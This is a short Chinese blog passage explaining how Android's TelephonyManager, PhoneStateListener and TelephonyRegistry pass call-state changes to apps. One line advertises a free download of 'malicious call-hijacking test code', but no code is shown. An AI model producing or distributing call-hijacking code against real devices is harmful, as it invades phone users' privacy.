        通過TelephonyManager注冊PhoneStateListener,我們可以在其回調函數onCallStateChanged中獲知Phone狀態的改變信息。Phone狀態改變的通知實際的發起者是TelephonyRegistry,其含有兩個重要的鏈表即mRecords和mRemoveList,前者負責保存所有PhoneStateListener的信息,後者記錄所有需要刪除的PhoneStateListener的binder對象,通俗點講就是mRecords記錄添加的監聽者,mRemoveList用於記錄刪除的監聽者。

       TelephonyManager是Android暴露給三方應用與Telephony交互的接口即相當於代理,實際獲取Phone狀態是通過TelephonyRegistry實現的。Telephony實際上提供了多種服務功能,包括TelephonyRegistry、PhoneInterfaceManager、PhoneSubInfo等,這些服務並不直接對三方應用開放,而是通過TelephonyManager這個大管家來管理。

       文中涉及原始圖片以及惡意劫持唿叫測試代碼,免積分下載

       最後更新:2017-04-03 05:40:03

  上一篇:go 結構方程模型(SEM)概述(1)
  下一篇:go Git的使用